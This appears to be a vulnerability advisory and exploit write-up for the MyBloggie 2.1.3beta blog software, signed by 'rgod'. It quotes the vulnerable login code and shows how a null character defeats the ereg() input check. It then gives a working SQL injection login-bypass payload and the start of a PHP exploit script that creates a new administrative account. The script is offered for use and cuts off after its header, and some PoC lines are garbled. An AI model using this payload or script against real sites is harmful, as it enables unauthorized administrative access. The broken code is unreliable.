MyBloggie 2.1.3beta null char + SQL Injection -> Login Bypass
software:
site: http://www.mywebland.com/
vulnerability: if magic quotes off -> SQL INJECTION
look carefully this code in login.php, line 40-69
...
if (isset($_POST['username'])) {
$username=$_POST['username'];
} else $username="";
if (isset($_POST['passwd'])) {
$passwd = $_POST['passwd'];
} else $passwd = "";
// Security precaution - sean 03 sep 2005
[!]if(ereg('[^A-Za-z0-9_]', $username)){
//redirecting the user if the username no alphanumeric to prevent
echo "";
exit();
}
if( isset( $mode ) )
{
if( $mode == "login" )
{
$username = trim( $username );
$passwd = md5(trim( $passwd ));
if( $username == "" ) message( $lang['Error'] , $lang['Msg_enter_name'] );
if( $passwd == "" ) message($lang['Error'], $lang['Msg_enter_pass'] );
[!!] $result = mysql_query( "SELECT user FROM ".USER_TBL." WHERE user='$username'
AND password='$passwd'" ) or error( mysql_error() );
[!!!] if( mysql_num_rows( $result ) != 1 ) {
...
the ereg call should check if "username" string is alphanumeric or not, but...
what happen if it begins with a null char? eheheheh
this a PHP bug, so I should write another advisory about this function...
you bypass the check...!
poc, run this with you interpreter...
";} #this works
if(ereg('[^A-Za-z0-9_]',chr(0x00)." ' " )) {echo "[2] hacking attempt!
";} #this not
?>
now you can inject an "always true statement" in login query and bypass the
third check, poc:
as username: [null char]'or'a'='a' LIMIT 1 /*
as password: [nothing]
if you cannot try it manually, this is my proof of concept exploit, it adds a
new administrative account, it works both against Unix and Windows servers, I
don't know if this ereg "null char" issue is documented...:
login bypass #
# #
# let's setup a new admin account right now! #
# #
# #
# #
# by rgod #
# site: http://rgod.altervista.org #
# #
# make these changes in php.ini if you have troubles #
# to launch this script: #
# allow_call_time_pass_reference = on #
# register_globals = on #
# #
# usage: customize for your own pleasure, launch this script from Apache, #
# fill requested fields, then go! #
# #
# From WikiPedia:"James "Jamie" Madrox, formerly known as Multiple Man, is a #
# fictional character, a mutant superhero in the Marvel Universe and a former#
# member of X-Factor. He first appeared in Giant-Size Fantastic Four #4." #
# you know? This was my favourite one... Hey, but... wasn't he dead? #
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout", 2);
ob_implicit_flush (1);
echo'
myBloggie 2.1.3 beta (possibly prior versions) null char / SQL Injection
a script by rgod at http://rgod.altervista.org